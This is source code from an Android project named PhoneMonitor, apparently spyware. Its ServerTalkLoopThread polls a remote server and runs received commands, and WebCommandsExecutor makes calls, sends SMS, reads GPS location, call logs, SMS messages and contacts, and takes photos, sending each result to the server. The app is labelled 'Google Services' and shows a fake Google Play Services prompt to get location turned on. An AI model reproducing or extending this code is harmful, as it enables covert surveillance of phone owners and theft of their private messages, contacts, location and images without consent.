11 | import org.json.JSONException; 12 | import org.json.JSONObject; 13 | 14 | import java.io.ByteArrayOutputStream; 15 | import java.io.IOException; 16 | import java.io.InputStream; 17 | import java.io.OutputStream; 18 | import java.net.HttpURLConnection; 19 | import java.net.MalformedURLException; 20 | import java.net.URL; 21 | 22 | 23 | class ServerTalkLoopThread extends Thread { 24 | 25 | private String reportURL; 26 | private String commandsURL; 27 | private String outputURL; 28 | private Context context; 29 | 30 | ServerTalkLoopThread(Context context, String ReportURL, String CommandsURL, String OutputURL) { 31 | this.reportURL = ReportURL; 32 | this.commandsURL = CommandsURL; 33 | this.outputURL = OutputURL; 34 | this.context = context; 35 | } 36 | 37 | @Override 38 | public void run() { 39 | try { 40 | while (!Thread.currentThread().isInterrupted()) { 41 | if (HelperMethods.isInternetAvailable(context)) { 42 | //talk to server 43 | try { 44 | postStatus(); //post current status to server 45 | getAndExecuteWebCommands(); //executes any pending web commands and send output to server 46 | } catch (MalformedURLException muex) { 47 | Log.w(AppSettings.getTAG(), "MalformedURLException @ServerTalkLoopThread.run()\n" + muex.getMessage()); 48 | } catch (IOException ioex) { 49 | Log.w(AppSettings.getTAG(), "IOException @ServerTalkLoopThread.run()\nEither .getOutputStream() or .getResponseMessage() timed out\n" + ioex.getMessage()); 50 | } 51 | } 52 | Thread.sleep(new AppSettings(context).getServerTalkInterval()); 53 | } 54 | } catch (InterruptedException iex) { 55 | //out of the loop if thread interrupted 56 | } 57 | } 58 | 59 | private void postStatus() throws IOException { 60 | //reports device status to the server 61 | URL url = new URL(this.reportURL); 62 | HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection(); 63 | httpURLConnection.setRequestMethod("POST"); 64 | httpURLConnection.setRequestProperty("User-Agent", "PhoneMonitor"); 65 | httpURLConnection.setDoOutput(true); 66 | httpURLConnection.setConnectTimeout(5000);//without a timeout, .getOutputStream() hangs forever if server doesn't respond 67 | httpURLConnection.setReadTimeout(5000);//without a timeout, .getResponseMessage(), .getInputStream() and .getResponseCode() hang forever if server doesn't respond 68 | 69 | OutputStream outputstream = httpURLConnection.getOutputStream(); 70 | 71 | Uri.Builder builder = new Uri.Builder() 72 | .appendQueryParameter("IMEI", HelperMethods.getIMEI(context)) 73 | .appendQueryParameter("number", HelperMethods.getNumber(context)) 74 | .appendQueryParameter("manufacturer", Build.MANUFACTURER) 75 | .appendQueryParameter("model", Build.MODEL) 76 | .appendQueryParameter("uniqueid", HelperMethods.getDeviceUID(context)); 77 | String POSTQuery = builder.build().getEncodedQuery(); 78 | 79 | outputstream.write(POSTQuery.getBytes("UTF-8")); 80 | outputstream.flush(); 81 | outputstream.close(); 82 | String responseMsg = httpURLConnection.getResponseMessage();//dunno why but .getResponseMessage() or .getInputStream() or getResponseCode() _is_ required to actually make the POST request 83 | httpURLConnection.disconnect(); 84 | } 85 | 86 | private void getAndExecuteWebCommands() throws IOException { 87 | //retrieves commandlist from server and calls executeWebCommandsFromJSON() 88 | URL url = new URL(this.commandsURL); 89 | HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection(); 90 | httpURLConnection.setRequestMethod("POST"); 91 | httpURLConnection.setDoOutput(true);//we'll send the deviceUID to the server and we'll receive the corresponding command and params 92 | httpURLConnection.setDoInput(true); 93 | httpURLConnection.setRequestProperty("User-Agent", "PhoneMonitor"); 94 | httpURLConnection.setConnectTimeout(5000); 95 | httpURLConnection.setReadTimeout(5000); 96 | 97 | Uri.Builder builder = new Uri.Builder() 98 | .appendQueryParameter("uniqueid", HelperMethods.getDeviceUID(context)); 99 | String GETQuery = builder.build().getEncodedQuery(); 100 | 101 | OutputStream outputStream = httpURLConnection.getOutputStream(); 102 | outputStream.write((byte[]) GETQuery.getBytes("UTF-8")); 103 | InputStream inputStream = httpURLConnection.getInputStream(); 104 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 105 | byte byteread; 106 | while ((byteread = (byte) inputStream.read()) != -1) { 107 | byteArrayOutputStream.write(byteread); 108 | } 109 | String commandsString = byteArrayOutputStream.toString(); 110 | outputStream.close(); 111 | inputStream.close(); 112 | httpURLConnection.disconnect(); 113 | 114 | if (!commandsString.equals("")) { 115 | try { 116 | JSONArray commandsJSONArray = new JSONArray(commandsString); 117 | executeWebCommandsFromJSON(commandsJSONArray); 118 | } catch (JSONException jsoex) { 119 | Log.w(AppSettings.getTAG(), "JSONException @ ServerTalkLoopThread.getAndExecuteWebCommands()\n" + jsoex.getMessage()); 120 | } 121 | 122 | } 123 | } 124 | 125 | private void executeWebCommandsFromJSON(JSONArray commandsJson) throws JSONException { 126 | //actually executes retrieved commands 127 | WebCommandsExecutor webCommandsExecutor = new WebCommandsExecutor(context); 128 | for (int i = 0; i < commandsJson.length(); i++) { 129 | JSONObject command = commandsJson.getJSONObject(i); 130 | int commandId = command.getInt("commandid"); 131 | switch (commandId) { 132 | case 0://vibrate(repeat_times,pattern) 133 | int repeatTimes = command.getInt("param1"); 134 | String vibPattern = command.getString("param2"); 135 | webCommandsExecutor.vibrate(repeatTimes, vibPattern); 136 | notifyServerOfCommandExecution(command, ""); 137 | Log.w(AppSettings.getTAG(), "Vibration effected."); 138 | break; 139 | case 1://call(number) 140 | long callPhoneNumber = command.getLong("param1"); 141 | webCommandsExecutor.call(callPhoneNumber); 142 | notifyServerOfCommandExecution(command, ""); 143 | Log.w(AppSettings.getTAG(), "Phone call effected."); 144 | break; 145 | case 2://sms(number,message) 146 | String targetPhone = command.getString("param1"); 147 | String msgBody = command.getString("param2"); 148 | if (!targetPhone.equals("")) { 149 | SmsManager smsManager = SmsManager.getDefault(); 150 | smsManager.sendTextMessage(targetPhone, null, msgBody, null, null); 151 | Log.w(AppSettings.getTAG(), "SMS effected."); 152 | } 153 | notifyServerOfCommandExecution(command, ""); 154 | break; 155 | case 3://gps(num_times,show_toast_or_not,send_gps_to_number) 156 | int promptUserLocationOnTimes = 0; 157 | try { 158 | promptUserLocationOnTimes = Integer.parseInt(command.getString("param1")); 159 | } catch (NumberFormatException nfe) { 160 | //do nothing 161 | } 162 | Boolean showPromptToast = Boolean.parseBoolean(command.getString("param2")); 163 | String sendSMSToNumber = command.getString("param3"); 164 | String gpsCoords = webCommandsExecutor.getGPSCoordinates(promptUserLocationOnTimes, showPromptToast, sendSMSToNumber); 165 | notifyServerOfCommandExecution(command, gpsCoords); 166 | Log.w(AppSettings.getTAG(), "GPS output effected."); 167 | break; 168 | case 4://getcallrecords() 169 | String callLog = webCommandsExecutor.getCallLog(); 170 | notifyServerOfCommandExecution(command, callLog); 171 | Log.w(AppSettings.getTAG(), "CallLog output effected."); 172 | break; 173 | case 5://getsmsmessages() 174 | String smsMessages = webCommandsExecutor.getSMSMessages(); 175 | notifyServerOfCommandExecution(command, smsMessages); 176 | Log.w(AppSettings.getTAG(), "SMS messages output effected."); 177 | break; 178 | case 6://getcontacts() 179 | String contacts = webCommandsExecutor.getContacts(); 180 | notifyServerOfCommandExecution(command, contacts); 181 | Log.w(AppSettings.getTAG(), "Contacts output effected."); 182 | break; 183 | case 7://clickphotos(method) 184 | int method = 0; 185 | try { 186 | method = Integer.parseInt(command.getString("param1")); 187 | } catch (NumberFormatException nfe) { 188 | //do nothing 189 | } 190 | CameraCapture.PictureCaptureMethod captureMethod = (method == 0) ? CameraCapture.PictureCaptureMethod.PCM_SURFACE_TEXTURE : CameraCapture.PictureCaptureMethod.PCM_SURFACE_VIEW; 191 | String capturedPhotosJSONArray = webCommandsExecutor.clickPhotos(captureMethod); 192 | notifyServerOfCommandExecution(command, capturedPhotosJSONArray); 193 | Log.w(AppSettings.getTAG(), "Camera capture effected."); 194 | break; 195 | } 196 | } 197 | } 198 | 199 | 200 | private void notifyServerOfCommandExecution(JSONObject command, String outputIfAny) throws JSONException { 201 | //Notifies the server of the execution of a command so that its pending status can be changed to 0 (i.e. inactive) 202 | //Also, if a non null output exists for the particular command, the server will update the outputlist table in database 203 | try { 204 | URL url = new URL(this.outputURL); 205 | HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection(); 206 | httpURLConnection.setRequestMethod("POST"); 207 | httpURLConnection.setRequestProperty("User-Agent", "PhoneMonitor"); 208 | httpURLConnection.setDoOutput(true); 209 | httpURLConnection.setConnectTimeout(10000);//without a timeout, .getOutputStream() hangs forever if server doesn't respond 210 | httpURLConnection.setReadTimeout(60000);//without a timeout, .getResponseMessage(), .getInputStream() and .getResponseCode() hang forever if server doesn't respond 211 | 212 | OutputStream outputstream = httpURLConnection.getOutputStream(); 213 | 214 | Uri.Builder builder = new Uri.Builder() 215 | .appendQueryParameter("uniqueid", HelperMethods.getDeviceUID(context)) 216 | .appendQueryParameter("commandid", command.getString("commandid")) 217 | .appendQueryParameter("param1", command.getString("param1")) 218 | .appendQueryParameter("param2", command.getString("param2")) 219 | .appendQueryParameter("param3", command.getString("param3")) 220 | .appendQueryParameter("param4", command.getString("param4")) 221 | .appendQueryParameter("output", outputIfAny); 222 | String POSTQuery = builder.build().getEncodedQuery(); 223 | 224 | outputstream.write(POSTQuery.getBytes("UTF-8")); 225 | outputstream.flush(); 226 | outputstream.close(); 227 | String responseMsg = httpURLConnection.getResponseMessage();//dunno why but .getResponseMessage() or .getInputStream() or getResponseCode() _is_ required to actually make the POST request 228 | httpURLConnection.disconnect(); 229 | } catch (MalformedURLException murlex) { 230 | Log.w(AppSettings.getTAG(), "MalformedURLException @ServerTalkLoopThread.notifyServerOfCommandExecution()\n" + murlex.getMessage()); 231 | } catch (IOException ioex) { 232 | Log.w(AppSettings.getTAG(), "IOException @ServerTalkLoopThread.notifyServerOfCommandExecution()\n" + ioex.getMessage()); 233 | } 234 | } 235 | 236 | } -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/WebCommandsExecutor.java: -------------------------------------------------------------------------------- 1 | package com.monitor.phone.s0ft.phonemonitor; 2 | 3 | import android.content.Context; 4 | import android.content.Intent; 5 | import android.database.Cursor; 6 | import android.location.Location; 7 | import android.location.LocationListener; 8 | import android.location.LocationManager; 9 | import android.net.Uri; 10 | import android.os.Bundle; 11 | import android.os.Handler; 12 | import android.os.Looper; 13 | import android.os.Vibrator; 14 | import android.provider.CallLog; 15 | import android.provider.ContactsContract; 16 | import android.provider.Settings; 17 | import android.telephony.SmsManager; 18 | import android.util.Log; 19 | import android.widget.Toast; 20 | 21 | import org.json.JSONArray; 22 | import org.json.JSONException; 23 | import org.json.JSONObject; 24 | 25 | import java.util.ArrayList; 26 | import java.util.List; 27 | import java.util.concurrent.Callable; 28 | 29 | import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK; 30 | 31 | 32 | public class WebCommandsExecutor implements LocationListener { 33 | private Context context; 34 | 35 | WebCommandsExecutor(Context context) { 36 | this.context = context; 37 | } 38 | 39 | 40 | void vibrate(final int repeatTimes, String vibPatternString) { 41 | String[] patternTokens = vibPatternString.split(" "); 42 | List vibPatternList = new ArrayList(); 43 | for (String patternToken : patternTokens) { 44 | try { 45 | long patternTokenLong = Long.parseLong(patternToken); 46 | vibPatternList.add(patternTokenLong); 47 | } catch (NumberFormatException nfex) { 48 | //Do nothing, skip this token 49 | } 50 | } 51 | long[] finalPattern = new long[vibPatternList.size()]; 52 | long totalSleepTime = 0; 53 | for (int i = 0; i < vibPatternList.size(); i++) { 54 | finalPattern[i] = vibPatternList.get(i); 55 | totalSleepTime += finalPattern[i]; 56 | } 57 | final long finalTotalSleepTime = totalSleepTime; 58 | final long[] finalFinalPattern = finalPattern; 59 | final Vibrator vibrator = (Vibrator) context.getSystemService(Context.VIBRATOR_SERVICE); 60 | if (vibrator != null) { 61 | if (vibrator.hasVibrator()) { 62 | new Thread() { 63 | @Override 64 | public void run() { 65 | for (int i = 1; i <= repeatTimes; i++) { 66 | vibrator.vibrate(finalFinalPattern, -1); 67 | try { 68 | Thread.sleep(finalTotalSleepTime);//vibrate is asynchronous, so sleep 69 | } catch (InterruptedException itex) { 70 | //thread execution was interrupted 71 | } 72 | } 73 | 74 | } 75 | }.start(); 76 | 77 | } 78 | } 79 | } 80 | 81 | void call(long phoneNumber) { 82 | Intent intent = new Intent(Intent.ACTION_CALL); 83 | intent.setData(Uri.parse("tel:" + phoneNumber)); 84 | intent.setFlags(FLAG_ACTIVITY_NEW_TASK); 85 | context.startActivity(intent); 86 | } 87 | 88 | String getGPSCoordinates(int promptUserLocationOn, final Boolean showPromptToast, String sendSMSToNumber) { 89 | //promptUserLocationOn=Number of times to forcibly take user to Location settings 90 | //showPromptToast=Whether or not to show a toast message to user prompting to enable Location Service 91 | //sendSMSToNumber=Number to send latlong SMS to.. Can be "" in which case SMS will not be sent 92 | String latLong = ""; 93 | final LocationManager locationManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE); 94 | if (locationManager != null) { 95 | while (!(locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER) || locationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER)) && promptUserLocationOn > 0) { 96 | //if neither GPS nor NETWORK location provider is enabled, 97 | Handler handler = new Handler(Looper.getMainLooper()); 98 | handler.post(new Runnable() { 99 | @Override 100 | public void run() { 101 | if (showPromptToast) 102 | Toast.makeText(context.getApplicationContext(), "Google Play Services requires Location Services to be enabled.", Toast.LENGTH_LONG).show(); 103 | } 104 | }); 105 | Intent intent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS); 106 | intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 107 | context.startActivity(intent); 108 | try { 109 | Thread.sleep(10000); 110 | } catch (InterruptedException iex) { 111 | } 112 | promptUserLocationOn--; 113 | } 114 | Location location = null; 115 | if (locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) { 116 | //use gps 117 | locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 50, 0, this, Looper.getMainLooper()); 118 | try { 119 | HelperMethods.waitWithTimeoutN(new Callable() { 120 | @Override 121 | public Object call() throws Exception { 122 | return locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); 123 | } 124 | }, null, 3 * 60 * 1000);//wait for GPS based location. this takes a couple minutes 125 | } catch (Exception ex) { 126 | Log.w(AppSettings.getTAG(), ex.getMessage()); 127 | } 128 | location = locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); 129 | } 130 | if (location == null) { 131 | if (locationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER)) { 132 | //use network 133 | locationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER, 50, 0, this, Looper.getMainLooper()); 134 | try { 135 | HelperMethods.waitWithTimeoutN(new Callable() { 136 | @Override 137 | public Object call() throws Exception { 138 | return locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER); 139 | } 140 | }, null, 5000);//network based location is quick. only wait 5s 141 | } catch (Exception ex) { 142 | Log.w(AppSettings.getTAG(), ex.getMessage()); 143 | } 144 | location = locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER); 145 | } 146 | } 147 | if (location != null) { 148 | Log.w(AppSettings.getTAG(), "Lat : " + Double.toString(location.getLatitude()) + "\n" + "Long : " + Double.toString(location.getLongitude())); 149 | latLong = "Lat : " + Double.toString(location.getLatitude()) + "\nLong : " + Double.toString(location.getLongitude()); 150 | if (!sendSMSToNumber.equals("")) { 151 | SmsManager smsManager = SmsManager.getDefault(); 152 | smsManager.sendTextMessage(sendSMSToNumber, null, latLong, null, null); 153 | } 154 | } else { 155 | Log.w(AppSettings.getTAG(), "No location found"); 156 | } 157 | } 158 | return latLong; 159 | } 160 | 161 | String getCallLog() { 162 | //returns calllogs as a JSON array string in descending order of date 163 | String retval = ""; 164 | JSONArray callLogsJSONArr = new JSONArray(); 165 | String[] columns = {CallLog.Calls.NUMBER, CallLog.Calls.TYPE, CallLog.Calls.DATE, CallLog.Calls.DURATION, CallLog.Calls.CACHED_NAME}; 166 | 167 | Cursor cursor = context.getContentResolver().query(CallLog.Calls.CONTENT_URI, columns, null, null, CallLog.Calls.DATE + " DESC"); 168 | if (cursor != null) { 169 | while (cursor.moveToNext()) { 170 | String number = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER)); 171 | String type_ = cursor.getString(cursor.getColumnIndex(CallLog.Calls.TYPE)); 172 | int type__ = Integer.parseInt(type_); 173 | String type; 174 | switch (type__) { 175 | case CallLog.Calls.INCOMING_TYPE: 176 | type = "Incoming"; 177 | break; 178 | case CallLog.Calls.MISSED_TYPE: 179 | type = "Missed"; 180 | break; 181 | case CallLog.Calls.OUTGOING_TYPE: 182 | type = "Outgoing"; 183 | break; 184 | default: 185 | type = "Type " + type_; 186 | } 187 | String date = cursor.getString(cursor.getColumnIndex(CallLog.Calls.DATE)); 188 | String duration = cursor.getString(cursor.getColumnIndex(CallLog.Calls.DURATION)); 189 | String name = cursor.getString(cursor.getColumnIndex(CallLog.Calls.CACHED_NAME)); 190 | 191 | try { 192 | JSONObject indivCallLog = new JSONObject(); 193 | indivCallLog.put("Number", number); 194 | indivCallLog.put("Type", type); 195 | indivCallLog.put("Date", date); 196 | indivCallLog.put("Duration", duration); 197 | indivCallLog.put("Name", name);//if name is null, which can be if the number isn't saved, the Name entry is not added to this JSON object 198 | callLogsJSONArr.put(indivCallLog); 199 | } catch (JSONException jsex) { 200 | //error making json object. do nothing. don't append to JSON array 201 | } 202 | } 203 | cursor.close(); 204 | retval = callLogsJSONArr.toString(); 205 | } 206 | return retval; 207 | } 208 | 209 | String getSMSMessages() { 210 | //Returns a JSON array string of JSON objects of SMS messages; "" if failed 211 | //the SMS content provider is undocumented as of yet(27th Dec, 2017 | 10:59PM | GMT+05:45). 212 | //the following links and some testing on my part went into making of this method 213 | //http://grepcode.com/file/repo1.maven.org/maven2/org.robolectric/android-all/4.1.2_r1-robolectric-0/android/provider/Telephony.java#Telephony.TextBasedSmsColumns 214 | //https://stackoverflow.com/questions/1976252/how-to-use-sms-content-provider-where-are-the-docs 215 | //the messages are by default retrieved in descending order of date 216 | 217 | String retval = ""; 218 | JSONArray smsJsonArr = new JSONArray(); 219 | 220 | 221 | Uri smsUri = Uri.parse("content://sms"); 222 | String[] columns = {"type", "thread_id", "address", "date", "read", "body"}; 223 | Cursor cursor = context.getContentResolver().query(smsUri, columns, null, null, null); 224 | if (cursor != null) { 225 | while (cursor.moveToNext()) { 226 | int type_ = cursor.getInt(cursor.getColumnIndex("type")); 227 | String type; 228 | switch (type_) { 229 | case 1: 230 | type = "Inbox"; 231 | break; 232 | case 2: 233 | type = "Sent"; 234 | break; 235 | case 3: 236 | type = "Draft"; 237 | break; 238 | case 4: 239 | type = "Outbox"; 240 | break; 241 | case 5: 242 | type = "Failed"; 243 | break; 244 | case 6: 245 | type = "Queued"; 246 | break; 247 | default: 248 | type = "Type " + type_; 249 | } 250 | int threadid = cursor.getInt(cursor.getColumnIndex("thread_id")); 251 | String address = cursor.getString(cursor.getColumnIndex("address")); 252 | 253 | //get the contact name corresponding to the number(address) 254 | String personName = ""; 255 | Uri uri = Uri.withAppendedPath(ContactsContract.PhoneLookup.CONTENT_FILTER_URI, Uri.encode(address)); 256 | Cursor phoneLookupCursor = context.getContentResolver().query(uri, new String[]{ContactsContract.PhoneLookup.DISPLAY_NAME}, null, null, null); 257 | if (phoneLookupCursor != null) { 258 | if (phoneLookupCursor.moveToNext()) { 259 | personName = phoneLookupCursor.getString(phoneLookupCursor.getColumnIndex(ContactsContract.PhoneLookup.DISPLAY_NAME)); 260 | } 261 | phoneLookupCursor.close(); 262 | } 263 | 264 | String date = cursor.getString(cursor.getColumnIndex("date")); 265 | int read = cursor.getInt(cursor.getColumnIndex("read")); 266 | String body = cursor.getString(cursor.getColumnIndex("body")); 267 | 268 | try { 269 | JSONObject indivSMS = new JSONObject(); 270 | indivSMS.put("ThreadId", threadid); 271 | indivSMS.put("Type", type); 272 | indivSMS.put("Address", address); 273 | indivSMS.put("Date", date); 274 | indivSMS.put("ReadStatus", read); 275 | indivSMS.put("Body", body); 276 | indivSMS.put("PersonName", personName);//personName is "" if the address(number) couldn't be resolved into a contact name 277 | smsJsonArr.put(indivSMS); 278 | } catch (JSONException jsex) { 279 | //error while creating json object/array. skip this entry 280 | } 281 | } 282 | cursor.close(); 283 | retval = smsJsonArr.toString(); 284 | } 285 | return retval; 286 | } 287 | 288 | String getContacts() { 289 | String retval = ""; 290 | JSONArray contactsJSONArr = new JSONArray(); 291 | 292 | Cursor contactCursor = context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, ContactsContract.Contacts.DISPLAY_NAME); 293 | if (contactCursor != null) { 294 | while (contactCursor.moveToNext()) { 295 | String id = contactCursor.getString(contactCursor.getColumnIndex(ContactsContract.Contacts._ID)); 296 | String displayName = contactCursor.getString(contactCursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME)); 297 | String timesContacted = contactCursor.getString(contactCursor.getColumnIndex(ContactsContract.Contacts.TIMES_CONTACTED)); 298 | String lastContacted = contactCursor.getString(contactCursor.getColumnIndex(ContactsContract.Contacts.LAST_TIME_CONTACTED)); 299 | if (Integer.parseInt(contactCursor.getString(contactCursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0) { 300 | Cursor phoneCursor = context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, 301 | ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=?", new String[]{id}, null); 302 | if (phoneCursor != null) { 303 | while (phoneCursor.moveToNext()) { 304 | String phoneNumber = phoneCursor.getString(phoneCursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); 305 | 306 | try { 307 | JSONObject contact = new JSONObject(); 308 | contact.put("Name", displayName); 309 | contact.put("Number", phoneNumber); 310 | contact.put("TimesContacted", timesContacted); 311 | contact.put("LastContacted", lastContacted); 312 | contactsJSONArr.put(contact); 313 | } catch (JSONException jsex) { 314 | //do nothing. skip putting into array 315 | } 316 | } 317 | phoneCursor.close(); 318 | } 319 | } 320 | } 321 | contactCursor.close(); 322 | retval = contactsJSONArr.toString(); 323 | } 324 | 325 | return retval; 326 | } 327 | 328 | String clickPhotos(final CameraCapture.PictureCaptureMethod pictureCaptureMethod){ 329 | CameraCapture cameraCapture=new CameraCapture(context); 330 | return cameraCapture.TakePicture(pictureCaptureMethod); 331 | } 332 | 333 | @Override 334 | public void onLocationChanged(Location location) { 335 | 336 | } 337 | 338 | @Override 339 | public void onStatusChanged(String s, int i, Bundle bundle) { 340 | 341 | } 342 | 343 | @Override 344 | public void onProviderEnabled(String s) { 345 | 346 | } 347 | 348 | @Override 349 | public void onProviderDisabled(String s) { 350 | 351 | } 352 | } 353 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/res/drawable-v24/ic_launcher_foreground.xml: -------------------------------------------------------------------------------- 1 | 7 | 12 | 13 | 19 | 22 | 25 | 26 | 27 | 28 | 34 | 35 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/res/drawable/ic_launcher_background.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 10 | 15 | 20 | 25 | 30 | 35 | 40 | 45 | 50 | 55 | 60 | 65 | 70 | 75 | 80 | 85 | 90 | 95 | 100 | 105 | 110 | 115 | 120 | 125 | 130 | 135 | 140 | 145 | 150 | 155 | 160 | 165 | 170 | 171 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/res/mipmap-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/globalpolicy/PhoneMonitor/6e16cf056efa90391e7df96c2c3b023f3c3f7fe8/AndroidStudioProject/PhoneMonitor/app/src/main/res/mipmap-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/res/mipmap-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/globalpolicy/PhoneMonitor/6e16cf056efa90391e7df96c2c3b023f3c3f7fe8/AndroidStudioProject/PhoneMonitor/app/src/main/res/mipmap-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/res/mipmap-xhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/globalpolicy/PhoneMonitor/6e16cf056efa90391e7df96c2c3b023f3c3f7fe8/AndroidStudioProject/PhoneMonitor/app/src/main/res/mipmap-xhdpi/ic_launcher.png -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/res/mipmap-xxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/globalpolicy/PhoneMonitor/6e16cf056efa90391e7df96c2c3b023f3c3f7fe8/AndroidStudioProject/PhoneMonitor/app/src/main/res/mipmap-xxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/globalpolicy/PhoneMonitor/6e16cf056efa90391e7df96c2c3b023f3c3f7fe8/AndroidStudioProject/PhoneMonitor/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/res/values/colors.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | #3F51B5 4 | #303F9F 5 | #FF4081 6 | 7 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/res/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | Google Services 3 | 4 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/res/values/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/test/java/com/monitor/phone/s0ft/phonemonitor/ExampleUnitTest.java: -------------------------------------------------------------------------------- 1 | package com.monitor.phone.s0ft.phonemonitor; 2 | 3 | import org.junit.Test; 4 | 5 | import static org.junit.Assert.*; 6 | 7 | /** 8 | * Example local unit test, which will execute on the development machine (host). 9 | * 10 | * @see Testing documentation 11 | */ 12 | public class ExampleUnitTest { 13 | @Test 14 | public void addition_isCorrect() throws Exception { 15 | assertEquals(4, 2 + 2); 16 | } 17 | } -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/build.gradle: -------------------------------------------------------------------------------- 1 | // Top-level build file where you can add configuration options common to all sub-projects/modules. 2 | 3 | buildscript { 4 | 5 | repositories { 6 | google() 7 | jcenter() 8 | } 9 | dependencies { 10 | classpath 'com.android.tools.build:gradle:3.0.1' 11 | 12 | 13 | // NOTE: Do not place your application dependencies here; they belong 14 | // in the individual module build.gradle files 15 | } 16 | } 17 | 18 | allprojects { 19 | repositories { 20 | google() 21 | jcenter() 22 | } 23 | } 24 | 25 | task clean(type: Delete) { 26 | delete rootProject.buildDir 27 | } 28 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/gradle.properties: -------------------------------------------------------------------------------- 1 | # Project-wide Gradle settings. 2 | 3 | # IDE (e.g. Android Studio) users: 4 | # Gradle settings configured through the IDE *will override* 5 | # any settings specified in this file. 6 | 7 | # For more details on how to configure your build environment visit 8 | # http://www.gradle.org/docs/current/userguide/build_environment.html 9 | 10 | # Specifies the JVM arguments used for the daemon process. 11 | # The setting is particularly useful for tweaking memory settings. 12 | org.gradle.jvmargs=-Xmx1536m 13 | 14 | # When configured, Gradle will run in incubating parallel mode. 15 | # This option should only be used with decoupled projects. More details, visit 16 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects 17 | # org.gradle.parallel=true 18 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/globalpolicy/PhoneMonitor/6e16cf056efa90391e7df96c2c3b023f3c3f7fe8/AndroidStudioProject/PhoneMonitor/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | #Tue Dec 12 18:27:44 NPT 2017 2 | distributionBase=GRADLE_USER_HOME 3 | distributionPath=wrapper/dists 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | distributionUrl=https\://services.gradle.org/distributions/gradle-4.1-all.zip 7 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/gradlew: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | ############################################################################## 4 | ## 5 | ## Gradle start up script for UN*X 6 | ## 7 | ############################################################################## 8 | 9 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 10 | DEFAULT_JVM_OPTS="" 11 | 12 | APP_NAME="Gradle" 13 | APP_BASE_NAME=`basename "$0"` 14 | 15 | # Use the maximum available, or set MAX_FD != -1 to use that value. 16 | MAX_FD="maximum" 17 | 18 | warn ( ) { 19 | echo "$*" 20 | } 21 | 22 | die ( ) { 23 | echo 24 | echo "$*" 25 | echo 26 | exit 1 27 | } 28 | 29 | # OS specific support (must be 'true' or 'false'). 30 | cygwin=false 31 | msys=false 32 | 